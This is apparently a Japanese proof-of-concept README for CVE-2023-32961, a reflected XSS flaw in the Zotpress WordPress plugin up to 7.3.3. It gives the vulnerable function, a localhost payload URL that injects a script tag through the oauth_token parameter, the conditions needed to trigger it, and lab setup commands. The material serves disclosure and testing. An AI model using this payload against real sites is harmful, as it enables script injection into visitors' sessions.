
CVE-2023-32961 の PoC
このリポジトリは、WordPress ZotpressプラグインにおけるXSS脆弱性に関するものです。
Zotpress
≤ 7.3.3
zotpress
https://wordpress.org/plugins/zotpress/
認証なし
zotpress/lib/admin/admin.accounts.oauth.php 内の get_request_token 関数は、XSS攻撃に対して脆弱です。
get_request_token 関数が実行される条件を満たす必要があります。(初回のみ)
次のようなペイロードを送信します: http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>zotero.org のアカウントが必要です。
トリガーするにはoauthStateの値を1に設定する必要があります。上記のペイロードが機能しない場合は、oauthStateを1に設定する方法を見つける必要があります。
条件式 :
$_GET['oauth_token'] != $state['request_token_info']['oauth_token']
php oauth拡張の簡単なインストール方法:
ワンライナーコマンド :
sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
wordpress:latest Dockerイメージでテスト済み。